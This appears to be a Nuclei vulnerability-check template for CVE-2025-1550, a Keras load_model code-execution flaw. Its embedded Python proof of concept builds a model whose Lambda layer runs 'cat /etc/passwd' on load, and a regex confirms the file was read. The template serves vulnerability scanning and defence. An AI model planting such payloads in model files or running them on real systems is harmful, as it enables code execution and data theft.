id: CVE-2025-1550 info: name: Keras Model.load_model - Arbitrary Code Execution author: nukunga[seunghyeonJeon] severity: critical description: | The Keras Model.load_model function permits arbitrary code execution, even with safe_mode=True, through a manually constructed, malicious .keras archive. By altering the config.json file within the archive, an attacker can specify arbitrary Python modules and functions, along with their arguments, to be loaded and executed during model loading impact: | Attackers can execute arbitrary code during model loading, potentially leading to remote code execution or system compromise. remediation: | Update to the latest version of Keras where this issue is fixed or apply security patches provided by the developers. reference: - https://nvd.nist.gov/vuln/detail/CVE-2025-1550 - https://github.com/keras-team/keras/pull/20751 - https://towerofhanoi.it/writeups/cve-2025-1550/ classification: epss-score: 0.02581 epss-percentile: 0.84173 metadata: max-request: 1 tags: cve,cve2025,code,keras,rce,ml self-contained: true code: - engine: - py - python3 source: | import os import sys try: import tensorflow as tf from tensorflow.keras.models import load_model from tensorflow.keras.layers import Lambda, Input from tensorflow.keras.models import Model import numpy as np except ImportError: sys.exit(1) def create_malicious_model(): def malicious_function(x): result = os.popen("cat /etc/passwd").read() print(result) return x input_layer = Input(shape=(1,)) lambda_layer = Lambda(malicious_function, name="evil_lambda")(input_layer) model = Model(inputs=input_layer, outputs=lambda_layer) return model def exploit_lambda_layer(): model_path = "/tmp/malicious_model.keras" try: model = create_malicious_model() model.save(model_path) del model loaded_model = load_model(model_path) test_input = np.array([[1.0]]) loaded_model.predict(test_input, verbose=0) return True except: return False finally: if os.path.exists(model_path): os.remove(model_path) exploit_lambda_layer() matchers: - type: regex part: response regex: - "root:.*:0:0:" # digest: 4a0a0047304502207042b77a837f7ec42f91b661c6cd5003c81b26301778675921825b682c77be7b022100be8f03f2269e4f7201a5153e0113b942a9dff866d3ac2ebaef3cfa1852c46a50:922c64590222798bb761d5b6d8e72950